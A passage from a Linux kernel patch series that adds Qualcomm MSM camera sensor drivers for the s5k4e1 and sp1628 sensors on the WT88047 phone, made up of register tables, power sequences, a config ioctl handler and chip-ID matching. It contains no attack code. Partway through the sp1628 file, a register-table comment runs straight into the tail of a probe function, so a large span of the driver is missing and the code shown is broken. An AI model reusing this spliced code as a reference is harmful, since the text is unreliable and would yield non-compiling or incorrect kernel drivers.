.driver = { + .name = s5k4e1_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client s5k4e1_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_WORD_ADDR, +}; + +static const struct of_device_id s5k4e1_dt_match[] = { + {.compatible = "shinetech,s5k4e1", .data = &s5k4e1_s_ctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, s5k4e1_dt_match); + +static struct platform_driver s5k4e1_platform_driver = { + .driver = { + .name = "shinetech,s5k4e1", + .owner = THIS_MODULE, + .of_match_table = s5k4e1_dt_match, + }, +}; + +static int32_t s5k4e1_platform_probe(struct platform_device *pdev) +{ + int32_t rc = 0; + const struct of_device_id *match; + match = of_match_device(s5k4e1_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static int __init s5k4e1_init_module(void) +{ + int32_t rc = 0; + pr_info("%s:%d\n", __func__, __LINE__); + rc = platform_driver_probe(&s5k4e1_platform_driver, + s5k4e1_platform_probe); + if (!rc) + return rc; + pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&s5k4e1_i2c_driver); +} + +static void __exit s5k4e1_exit_module(void) +{ + pr_info("%s:%d\n", __func__, __LINE__); + if (s5k4e1_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&s5k4e1_s_ctrl); + platform_driver_unregister(&s5k4e1_platform_driver); + } else + i2c_del_driver(&s5k4e1_i2c_driver); + return; +} + +static struct msm_sensor_ctrl_t s5k4e1_s_ctrl = { + .sensor_i2c_client = &s5k4e1_sensor_i2c_client, + .power_setting_array.power_setting = s5k4e1_power_setting, + .power_setting_array.size = ARRAY_SIZE(s5k4e1_power_setting), + .msm_sensor_mutex = &s5k4e1_mut, + .sensor_v4l2_subdev_info = s5k4e1_subdev_info, + .sensor_v4l2_subdev_info_size = ARRAY_SIZE(s5k4e1_subdev_info), +}; + +module_init(s5k4e1_init_module); +module_exit(s5k4e1_exit_module); +MODULE_DESCRIPTION("s5k4e1"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/sp1628.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/sp1628.c new file mode 100644 index 0000000000000..6cd06582fb367 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/sp1628.c @@ -0,0 +1,992 @@ +/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" +#include "msm_cci.h" +#include "msm_camera_io_util.h" + +#define CONFIG_MSMB_CAMERA_DEBUG + +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + +#define SP1628_SENSOR_NAME "sp1628" +DEFINE_MSM_MUTEX(sp1628_mut); + +static struct msm_sensor_ctrl_t sp1628_s_ctrl; + +static struct msm_sensor_power_setting sp1628_power_setting[] = { + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VDIG, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_HIGH, + .delay = 50, + }, + + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 50, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 50, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 50, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_LOW, + .delay = 50, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 0, + .delay = 1, + }, + + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 5, + }, +}; + +static struct msm_camera_i2c_reg_conf sp1628_start_settings[] = { + {0x92, 0x81}, +}; + +static struct msm_camera_i2c_reg_conf sp1628_stop_settings[] = { + {0x92, 0x01}, +}; + +static struct msm_camera_i2c_reg_conf sp1628_recommend_settings[] = { + {0xfd, 0x00,}, + {0x91, 0x00,}, + {0x92, 0x81,}, + {0x98, 0x2a,}, + {0x96, 0xd0,}, /* c0*/ + {0x97, 0x02,}, /* 03*/ + {0x2f, 0x20,}, /* 24M*3=72M*/ + {0x0b, 0x48,}, /* analog*/ + {0x30, 0x80,}, /* 00*/ + {0x0c, 0x66,}, /* analog*/ + {0x0d, 0x12,}, + {0x13, 0x0f,}, /* 10*/ + {0x14, 0x00,}, + {0x12, 0x00,}, + {0x6b, 0x10,}, /* 11*/ + {0x6c, 0x00,}, + {0x6d, 0x00,}, + {0x6e, 0x00,}, + {0x6f, 0x10,}, /* 11*/ + {0x73, 0x11,}, /* 12*/ + {0x7a, 0x10,}, /* 11*/ + {0x15, 0x17,}, /* 18*/ + {0x71, 0x18,}, /* 19*/ + {0x76, 0x18,}, /* 19*/ + {0x29, 0x08,}, + {0x18, 0x01,}, + {0x19, 0x10,}, + {0x1a, 0xc3,}, /* c1*/ + {0x1b, 0x6f,}, + {0x1d, 0x11,}, /* 01*/ + {0x1e, 0x00,}, /* 1e*/ + {0x1f, 0x80,}, + {0x20, 0x7f,}, + {0x22, 0x3c,}, /* 1b*/ + {0x25, 0xff,}, + {0x2b, 0x88,}, + {0x2c, 0x85,}, + {0x2d, 0x00,}, + {0x2e, 0x80,}, + {0x27, 0x38,}, + {0x28, 0x03,}, + {0x70, 0x1a,}, + {0x72, 0x18,}, /* 1a*/ + {0x74, 0x18,}, + {0x75, 0x18,}, + {0x77, 0x16,}, /* 18*/ + {0x7f, 0x19,}, + {0x31, 0x11,}, /* 720P, no mirror/flip */ + {0xfd, 0x01,}, + {0x5d, 0x11,}, /* position*/ + {0x5f, 0x00,}, + {0x36, 0x08,}, + {0x2f, 0xff,}, + {0xfb, 0x25,}, /* blacklevl*/ + {0x48, 0x00,}, /* dp*/ + {0x49, 0x99,}, + {0xf2, 0x0A,}, + {0xfd, 0x02,}, /* AE*/ + {0x52, 0x34,}, + {0x53, 0x02,}, + {0x54, 0x0c,}, + {0x55, 0x08,}, + {0x86, 0x0c,}, + {0x87, 0x10,}, + {0x8b, 0x10,}, + + /* 12-30 50Hz*/ + {0xfd, 0x00,}, /* ae setting*/ + {0x03, 0x05,}, + {0x04, 0x64,}, + {0x05, 0x00,}, + {0x06, 0x00,}, + {0x09, 0x00,}, + {0x0a, 0x02,}, + {0xfd, 0x01,}, + {0xf0, 0x00,}, + {0xf7, 0xe6,}, + {0xf8, 0xc1,}, + {0x02, 0x08,}, + {0x03, 0x01,}, + {0x06, 0xe6,}, + {0x07, 0x00,}, + {0x08, 0x01,}, + {0x09, 0x00,}, + {0xfd, 0x02,}, + {0x40, 0x0a,}, + {0x41, 0xc1,}, + {0x42, 0x00,}, + {0x88, 0x37,}, + {0x89, 0xa7,}, + {0x8a, 0x22,}, + {0xfd, 0x02,}, /* Status*/ + {0xbe, 0x30,}, + {0xbf, 0x07,}, + {0xd0, 0x30,}, + {0xd1, 0x07,}, + {0xfd, 0x01,}, + {0x5b, 0x07,}, + {0x5c, 0x30,}, + {0xfd, 0x00,}, + + /* 12-30 60Hz*/ + {0xfd, 0x00,}, /* ae setting*/ + {0x03, 0x04,}, + {0x04, 0x80,}, + {0x05, 0x00,}, + {0x06, 0x00,}, + {0x09, 0x00,}, + {0x0a, 0x01,}, + {0xfd, 0x01,}, + {0xf0, 0x00,}, + {0xf7, 0xc0,}, + {0xf8, 0xc1,}, + {0x02, 0x0a,}, + {0x03, 0x01,}, + {0x06, 0xc0,}, + {0x07, 0x00,}, + {0x08, 0x01,}, + {0x09, 0x00,}, + {0xfd, 0x02,}, + {0x40, 0x0a,}, + {0x41, 0xc1,}, + {0x42, 0x00,}, + {0x88, 0x37,}, + {0x89, 0xa7,}, + {0x8a, 0x22,}, + {0xfd, 0x02,}, /* Status*/ + {0xbe, 0x80,}, + {0xbf, 0x07,}, + {0xd0, 0x80,}, + {0xd1, 0x07,}, + {0xfd, 0x01,}, + {0x5b, 0x07,}, + {0x5c, 0x80,}, + {0xfd, 0x00,}, + + {0xfd, 0x01,}, /* fix status*/ + {0x5a, 0x38,}, /* DP_gain*/ + {0xfd, 0x02,}, + {0xba, 0x30,}, /* mean_dummy_low*/ + {0xbb, 0x50,}, /* mean_low_dummy*/ + {0xbc, 0xc0,}, /* rpc_heq_low*/ + {0xbd, 0xa0,}, /* rpc_heq_dummy*/ + {0xb8, 0x80,}, /* mean_nr_dummy*/ + {0xb9, 0x90,}, /* mean_dummy_nr*/ + {0xfd, 0x01,}, /* rpc*/ + {0xe0, 0x54,}, + {0xe1, 0x40,}, + {0xe2, 0x38,}, + {0xe3, 0x34,}, + {0xe4, 0x34,}, + {0xe5, 0x30,}, + {0xe6, 0x30,}, + {0xe7, 0x2e,}, + {0xe8, 0x2e,}, + {0xe9, 0x2e,}, + {0xea, 0x2c,}, + {0xf3, 0x2c,}, + {0xf4, 0x2c,}, + {0xfd, 0x01,}, /* min gain*/ + {0x04, 0xc0,}, /* rpc_max_indr*/ + {0x05, 0x2c,}, /* rpc_min_indr*/ + {0x0a, 0xc0,}, /* rpc_max_outdr*/ + {0x0b, 0x2c,}, /* rpc_min_outdr*/ + {0xfd, 0x01,}, /* ae target*/ + {0xeb, 0x78,}, + {0xec, 0x78,}, + {0xed, 0x05,}, + {0xee, 0x0a,}, + {0xfd, 0x01,}, /* lsc*/ + {0x26, 0x30,}, + {0x27, 0xdc,}, + {0x28, 0x05,}, + {0x29, 0x08,}, + {0x2a, 0x00,}, + {0x2b, 0x03,}, + {0x2c, 0x00,}, + {0x2d, 0x2f,}, + {0xfd, 0x01,}, /* RGainf*/ + {0xa1, 0x37,}, /* left*/ + {0xa2, 0x26,}, /* right*/ + {0xa3, 0x32,}, /* up*/ + {0xa4, 0x2b,}, /* down*/ + {0xad, 0x0f,}, /* lu*/ + {0xae, 0x0a,}, /* ru*/ + {0xaf, 0x0a,}, /* ld*/ + {0xb0, 0x0a,}, /* rd*/ + {0x18, 0x2f,}, /* left*/ + {0x19, 0x30,}, /* right*/ + {0x1a, 0x32,}, /* up*/ + {0x1b, 0x30,}, /* down*/ + {0xbf, 0xa5,}, /* lu*/ + {0xc0, 0x12,}, /* ru*/ + {0xc1, 0x08,}, /* ld*/ + {0xfa, 0x00,}, /* rd*/ + {0xa5, 0x35,}, /* GGain*/ + {0xa6, 0x24,}, + {0xa7, 0x2e,}, + {0xa8, 0x25,}, + {0xb1, 0x00,}, + {0xb2, 0x04,}, + {0xb3, 0x00,}, + {0xb4, 0x00,}, + {0x1c, 0x24,}, + {0x1d, 0x23,}, + {0x1e, 0x2c,}, + {0xb9, 0x25,}, + {0x21, 0xa0,}, + {0x22, 0x13,}, + {0x23, 0x1c,}, + {0x24, 0x0d,}, + {0xa9, 0x2f,}, /* BGain*/ + {0xaa, 0x24,}, + {0xab, 0x2d,}, + {0xac, 0x24,}, + {0xb5, 0x00,}, + {0xb6, 0x00,}, + {0xb7, 0x00,}, + {0xb8, 0x00,}, + {0xba, 0x22,}, + {0xbc, 0x24,}, + {0xbd, 0x31,}, + {0xbe, 0x24,}, + {0x25, 0xa0,}, + {0x45, 0x08,}, + {0x46, 0x12,}, + {0x47, 0x09,}, + {0xfd, 0x01,}, /* awb*/ + {0x32, 0x15,}, + {0xfd, 0x02,}, + {0x26, 0xc9,}, + {0x27, 0x8b,}, + {0x1b, 0x80,}, + {0x1a, 0x80,}, + {0x18, 0x27,}, + {0x19, 0x26,}, + {0x2a, 0x01,}, + {0x2b, 0x10,}, + {0x28, 0xf8,}, + {0x29, 0x08,}, + + /* d65*/ + {0x66, 0x35,}, + {0x67, 0x60,}, + {0x68, 0xb0,}, + {0x69, 0xe0,}, + {0x6a, 0xa5,}, + + /* indoor*/ + {0x7c, 0x38,}, + {0x7d, 0x58,}, + {0x7e, 0xdb,}, + {0x7f, 0x13,}, + {0x80, 0xa6,}, + + /* cwftl84*/ + {0x70, 0x18,}, /* 2f*/ + {0x71, 0x4a,}, + {0x72, 0x08,}, + {0x73, 0x32,}, /* 24*/ + {0x74, 0xaa,}, + + /* tl84--F*/ + {0x6b, 0x02,}, /* 18*/ + {0x6c, 0x2a,}, /* 34*/ + {0x6d, 0x1e,}, /* 17*/ + {0x6e, 0x49,}, /* 32*/ + {0x6f, 0xaa,}, + + /* f--H*/ + {0x61, 0xea,}, /* 02*/ + {0x62, 0xf8,}, /* 2a*/ + {0x63, 0x4f,}, /* 1e*/ + {0x64, 0x5f,}, /* 49*/ + {0x65, 0x5a,}, /* aa*/ + + {0x75, 0x80,}, + {0x76, 0x09,}, + {0x77, 0x02,}, + {0x24, 0x25,}, + {0x0e, 0x16,}, + {0x3b, 0x09,}, + {0xfd, 0x02,}, /* sharp*/ + {0xde, 0x0f,}, + {0xd2, 0x0c,}, /* control black-white edge; 0 - bolder, f - thinner*/ + {0xd3, 0x0a,}, + {0xd4, 0x08,}, + {0xd5, 0x08,}, + {0xd7, 0x10,}, /* outline judgement*/ + {0xd8, 0x1d,}, + {0xd9, 0x32,}, + {0xda, 0x48,}, + {0xdb, 0x08,}, + {0xe8, 0x38,}, /* outline strength*/ + {0xe9, 0x38,}, + {0xea, 0x38,}, /* 30*/ + {0xeb, 0x38,}, /* 2*/ + {0xec, 0x60,}, + {0xed, 0x40,}, + {0xee, 0x38,}, /* 30*/ + {0xef, 0x38,}, /* 20*/ + {0xf3, 0x00,}, /* sharpness level of flat area*/ + {0xf4, 0x00,}, + {0xf5, 0x00,}, + {0xf6, 0x00,}, + {0xfd, 0x02,}, /* skin sharpen*/ + {0xdc, 0x04,}, /* skin de-sharpen*/ + {0x05, 0x6f,}, + {0x09, 0x10,}, + {0xfd, 0x01,}, /* dns*/ + {0x64, 0x22,}, /* 0 - max, 8 - min*/ + {0x65, 0x22,}, + {0x86, 0x20,}, /* threshold, 0 - min*/ + {0x87, 0x20,}, + {0x88, 0x20,}, + {0x89, 0x20,}, + {0x6d, 0x0f,}, + {0x6e, 0x0f,}, + {0x6f, 0x10,}, + {0x70, 0x10,}, + {0x71, 0x0d,}, + {0x72, 0x23,}, + {0x73, 0x23,}, /* 28*/ + {0x74, 0x23,}, /* 2a*/ + {0x75, 0x46,}, /* [7:4] strength of flat area, + [3:0]strength of un-flat area; + 0-max, 8-min*/ + {0x76, 0x36,}, + {0x77, 0x36,}, /* 25*/ + {0x78, 0x36,}, /* 12*/ + {0x81, 0x1d,}, /* 2x*/ + {0x82, 0x2b,}, /* 4x*/ + {0x83, 0x2b,}, /* 50; 8x*/ + {0x84, 0x2b,}, /* 80; 16x*/ + {0x85, 0x0a,}, /* 12/8reg0x81*/ + {0xfd, 0x01,}, /* gamma*/ + {0x8b, 0x00,}, /* 00; 00; 00;*/ + {0x8c, 0x0d,}, /* 02; 0b; 0b;*/ + {0x8d, 0x1f,}, /* 0a; 19; 17;*/ + {0x8e, 0x2d,}, /* 13; 2a; 27;*/ + {0x8f, 0x3a,}, /* 1d; 37; 35;*/ + {0x90, 0x4b,}, /* 30; 4b; 51;*/ + {0x91, 0x59,}, /* 40; 5e; 64;*/ + {0x92, 0x64,}, /* 4e; 6c; 74;*/ + {0x93, 0x70,}, /* 5a; 78; 80;*/ + {0x94, 0x83,}, /* 71; 92; 92;*/ + {0x95, 0x92,}, /* 85; a6; a2;*/ + {0x96, 0xa1,}, /* 96; b5; af;*/ + {0x97, 0xae,}, /* a6; bf; bb;*/ + {0x98, 0xba,}, /* b3; ca; c6;*/ + {0x99, 0xc4,}, /* c0; d2; d0;*/ + {0x9a, 0xcf,}, /* cb; d9; d9;*/ + {0x9b, 0xdb,}, /* d5; e1; e0;*/ + {0x9c, 0xe5,}, /* df; e8; e8;*/ + {0x9d, 0xec,}, /* e9; ee; ee;*/ + {0x9e, 0xf3,}, /* f2; f4; f4;*/ + {0x9f, 0xfa,}, /* fa; fa; fa;*/ + {0xa0, 0xff,}, /* ff; ff; ff;*/ + {0xfd, 0x02,}, /* CCM*/ + {0x15, 0xc8,}, /* b>th ab*/ + {0x16, 0x95,}, /* rdev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static int __init sp1628_init_module(void) +{ + int32_t rc; + pr_info("%s:%d\n", __func__, __LINE__); + rc = platform_driver_probe(&sp1628_platform_driver, + sp1628_platform_probe); + if (!rc) + return rc; + pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&sp1628_i2c_driver); +} + +static void __exit sp1628_exit_module(void) +{ + pr_info("%s:%d\n", __func__, __LINE__); + if (sp1628_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&sp1628_s_ctrl); + platform_driver_unregister(&sp1628_platform_driver); + } else + i2c_del_driver(&sp1628_i2c_driver); + return; +} + +int32_t sp1628_sensor_config(struct msm_sensor_ctrl_t *s_ctrl, + void __user *argp) +{ + struct sensorb_cfg_data *cdata = (struct sensorb_cfg_data *)argp; + int32_t rc = 0; + int32_t i = 0; + mutex_lock(s_ctrl->msm_sensor_mutex); + CDBG("%s:%d %s cfgtype = %d\n", __func__, __LINE__, + s_ctrl->sensordata->sensor_name, cdata->cfgtype); + switch (cdata->cfgtype) { + case CFG_GET_SENSOR_INFO: + memcpy(cdata->cfg.sensor_info.sensor_name, + s_ctrl->sensordata->sensor_name, + sizeof(cdata->cfg.sensor_info.sensor_name)); + cdata->cfg.sensor_info.session_id = + s_ctrl->sensordata->sensor_info->session_id; + for (i = 0; i < SUB_MODULE_MAX; i++) + cdata->cfg.sensor_info.subdev_id[i] = + s_ctrl->sensordata->sensor_info->subdev_id[i]; + cdata->cfg.sensor_info.is_mount_angle_valid = + s_ctrl->sensordata->sensor_info->is_mount_angle_valid; + cdata->cfg.sensor_info.sensor_mount_angle = + s_ctrl->sensordata->sensor_info->sensor_mount_angle; + CDBG("%s:%d sensor name %s\n", __func__, __LINE__, + cdata->cfg.sensor_info.sensor_name); + CDBG("%s:%d session id %d\n", __func__, __LINE__, + cdata->cfg.sensor_info.session_id); + for (i = 0; i < SUB_MODULE_MAX; i++) + CDBG("%s:%d subdev_id[%d] %d\n", __func__, __LINE__, i, + cdata->cfg.sensor_info.subdev_id[i]); + CDBG("%s:%d mount angle valid %d value %d\n", __func__, + __LINE__, cdata->cfg.sensor_info.is_mount_angle_valid, + cdata->cfg.sensor_info.sensor_mount_angle); + + break; + case CFG_SET_INIT_SETTING: + /* Write Recommend settings */ + pr_err("%s, sensor write init setting!!", __func__); + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl(s_ctrl->sensor_i2c_client, + sp1628_recommend_settings, + ARRAY_SIZE(sp1628_recommend_settings), + MSM_CAMERA_I2C_BYTE_DATA); + break; + case CFG_SET_RESOLUTION: + break; + case CFG_SET_STOP_STREAM: + pr_err("%s, sensor stop stream!!", __func__); + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl(s_ctrl->sensor_i2c_client, + sp1628_stop_settings, + ARRAY_SIZE(sp1628_stop_settings), + MSM_CAMERA_I2C_BYTE_DATA); + break; + case CFG_SET_START_STREAM: + pr_err("%s, sensor start stream!!", __func__); + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl(s_ctrl->sensor_i2c_client, + sp1628_start_settings, + ARRAY_SIZE(sp1628_start_settings), + MSM_CAMERA_I2C_BYTE_DATA); + break; + case CFG_GET_SENSOR_INIT_PARAMS: + cdata->cfg.sensor_init_params.modes_supported = + s_ctrl->sensordata->sensor_info->modes_supported; + cdata->cfg.sensor_init_params.position = + s_ctrl->sensordata->sensor_info->position; + cdata->cfg.sensor_init_params.sensor_mount_angle = + s_ctrl->sensordata->sensor_info->sensor_mount_angle; + CDBG("%s:%d init params mode %d pos %d mount %d\n", __func__, + __LINE__, + cdata->cfg.sensor_init_params.modes_supported, + cdata->cfg.sensor_init_params.position, + cdata->cfg.sensor_init_params.sensor_mount_angle); + break; + case CFG_SET_SLAVE_INFO: { + struct msm_camera_sensor_slave_info sensor_slave_info; + struct msm_sensor_power_setting_array *power_setting_array; + int slave_index = 0; + if (copy_from_user(&sensor_slave_info, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_sensor_slave_info))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + /* Update sensor slave address */ + if (sensor_slave_info.slave_addr) { + s_ctrl->sensor_i2c_client->cci_client->sid = + sensor_slave_info.slave_addr >> 1; + } + + /* Update sensor address type */ + s_ctrl->sensor_i2c_client->addr_type = + sensor_slave_info.addr_type; + + /* Update power up / down sequence */ + s_ctrl->power_setting_array = + sensor_slave_info.power_setting_array; + power_setting_array = &s_ctrl->power_setting_array; + power_setting_array->power_setting = kzalloc( + power_setting_array->size * + sizeof(struct msm_sensor_power_setting), GFP_KERNEL); + if (!power_setting_array->power_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(power_setting_array->power_setting, + (void *)sensor_slave_info.power_setting_array.power_setting, + power_setting_array->size * + sizeof(struct msm_sensor_power_setting))) { + kfree(power_setting_array->power_setting); + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + CDBG("%s sensor id %x\n", __func__, + sensor_slave_info.slave_addr); + CDBG("%s sensor addr type %d\n", __func__, + sensor_slave_info.addr_type); + CDBG("%s sensor reg %x\n", __func__, + sensor_slave_info.sensor_id_info.sensor_id_reg_addr); + CDBG("%s sensor id %x\n", __func__, + sensor_slave_info.sensor_id_info.sensor_id); + for (slave_index = 0; slave_index < + power_setting_array->size; slave_index++) { + CDBG("%s i %d power setting %d %d %ld %d\n", __func__, + slave_index, + power_setting_array->power_setting[slave_index]. + seq_type, + power_setting_array->power_setting[slave_index]. + seq_val, + power_setting_array->power_setting[slave_index]. + config_val, + power_setting_array->power_setting[slave_index]. + delay); + } + kfree(power_setting_array->power_setting); + break; + } + case CFG_WRITE_I2C_ARRAY: { + struct msm_camera_i2c_reg_setting conf_array; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + + if (copy_from_user(&conf_array, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = kzalloc(conf_array.size * + (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); + if (!reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, + conf_array.size * + sizeof(struct msm_camera_i2c_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + + conf_array.reg_setting = reg_setting; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( + s_ctrl->sensor_i2c_client, &conf_array); + kfree(reg_setting); + break; + } + case CFG_WRITE_I2C_SEQ_ARRAY: { + struct msm_camera_i2c_seq_reg_setting conf_array; + struct msm_camera_i2c_seq_reg_array *reg_setting = NULL; + + if (copy_from_user(&conf_array, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_seq_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = kzalloc(conf_array.size * + (sizeof(struct msm_camera_i2c_seq_reg_array)), + GFP_KERNEL); + if (!reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, + conf_array.size * + sizeof(struct msm_camera_i2c_seq_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + + conf_array.reg_setting = reg_setting; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_seq_table(s_ctrl->sensor_i2c_client, + &conf_array); + kfree(reg_setting); + break; + } + + case CFG_POWER_UP: + if (s_ctrl->func_tbl->sensor_power_up) + rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); + else + rc = -EFAULT; + break; + + case CFG_POWER_DOWN: + if (s_ctrl->func_tbl->sensor_power_down) + rc = s_ctrl->func_tbl->sensor_power_down( + s_ctrl); + else + rc = -EFAULT; + break; + + case CFG_SET_STOP_STREAM_SETTING: { + struct msm_camera_i2c_reg_setting *stop_setting = + &s_ctrl->stop_setting; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + if (copy_from_user(stop_setting, (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = stop_setting->reg_setting; + stop_setting->reg_setting = kzalloc(stop_setting->size * + (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); + if (!stop_setting->reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(stop_setting->reg_setting, + (void *)reg_setting, stop_setting->size * + sizeof(struct msm_camera_i2c_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(stop_setting->reg_setting); + stop_setting->reg_setting = NULL; + stop_setting->size = 0; + rc = -EFAULT; + break; + } + break; + } + case CFG_SET_SATURATION: { + + break; + } + case CFG_SET_CONTRAST: { + + break; + } + case CFG_SET_SHARPNESS: { + + break; + } + case CFG_SET_ISO: { + + break; + } + case CFG_SET_EXPOSURE_COMPENSATION: { + + break; + } + case CFG_SET_EFFECT: { + + break; + } + case CFG_SET_ANTIBANDING: { + + break; + } + case CFG_SET_BESTSHOT_MODE: { + + break; + } + case CFG_SET_WHITE_BALANCE: { + + break; + } + default: + rc = -EFAULT; + break; + } + + mutex_unlock(s_ctrl->msm_sensor_mutex); + + return rc; +} + +int32_t sp1628_match_id(struct msm_sensor_ctrl_t *s_ctrl) +{ + int32_t rc = 0; + uint16_t chipid = 0; + + CDBG("%s, E. calling i2c_read:, i2c_addr:%d, id_reg_addr:%d", + __func__, + s_ctrl->sensordata->slave_info->sensor_slave_addr, + s_ctrl->sensordata->slave_info->sensor_id_reg_addr); + + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_read( + s_ctrl->sensor_i2c_client, + 0x02, + &chipid, MSM_CAMERA_I2C_BYTE_DATA); + if (rc < 0) { + pr_err("%s: %s: read id failed\n", __func__, + s_ctrl->sensordata->sensor_name); + return rc; + } + + CDBG("%s: read id: 0x%x expected id 0x16:\n", __func__, chipid); + if (chipid != 0x16) { + pr_err("msm_sensor_match_id chip id doesnot match\n"); + return -ENODEV; + } + + chipid = 0; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_read( + s_ctrl->sensor_i2c_client, + 0xa0, + &chipid, MSM_CAMERA_I2C_BYTE_DATA); + if (rc < 0) { + pr_err("%s: %s: read id failed\n", __func__, + s_ctrl->sensordata->sensor_name); + return rc; + } + + CDBG("%s: read id: 0x%x expected id 0x28:\n", __func__, chipid); + if (chipid != 0x28) { + pr_err("msm_sensor_match_id chip id doesnot match\n"); + return -ENODEV; + } + + return rc; +} + + +static struct msm_sensor_fn_t sp1628_sensor_func_tbl = { + .sensor_config = sp1628_sensor_config, + .sensor_power_up = msm_sensor_power_up, + .sensor_power_down = msm_sensor_power_down, + .sensor_match_id = sp1628_match_id, +}; + +static struct msm_sensor_ctrl_t sp1628_s_ctrl = { + .sensor_i2c_client = &sp1628_sensor_i2c_client, + .power_setting_array.power_setting = sp1628_power_setting, + .power_setting_array.size = ARRAY_SIZE(sp1628_power_setting), + .msm_sensor_mutex = &sp1628_mut, + .sensor_v4l2_subdev_info = sp1628_subdev_info, + .sensor_v4l2_subdev_info_size = ARRAY_SIZE(sp1628_subdev_info), + .func_tbl = &sp1628_sensor_func_tbl, +}; + +module_init(sp1628_init_module); +module_exit(sp1628_exit_module); +MODULE_DESCRIPTION("Aptina 1.26MP YUV sensor driver"); +MODULE_LICENSE("GPL v2"); From 21e292e579c6efdf91c0a76dcb27df6672d45607 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 5 Oct 2015 23:17:13 +0700 Subject: [PATCH 024/365] msm: camera: Working camera driver for WT88047 Change-Id: I7151e147a3382a7ba88905668c2450236236f796 --- drivers/media/platform/msm/Kconfig | 12 + drivers/media/platform/msm/Makefile | 4 + .../platform/msm/camera_wt88047_v2/Makefile | 16 +- .../msm/camera_wt88047_v2/camera/Makefile | 4 +- .../msm/camera_wt88047_v2/isp/Makefile | 4 +- .../msm/camera_wt88047_v2/isp/msm_buf_mgr.c | 2 +- .../msm/camera_wt88047_v2/ispif/Makefile | 4 +- .../msm/camera_wt88047_v2/jpeg_10/Makefile | 4 +- .../jpeg_10/msm_jpeg_platform.c | 2 +- .../camera_wt88047_v2/msm_buf_mgr/Makefile | 2 +- 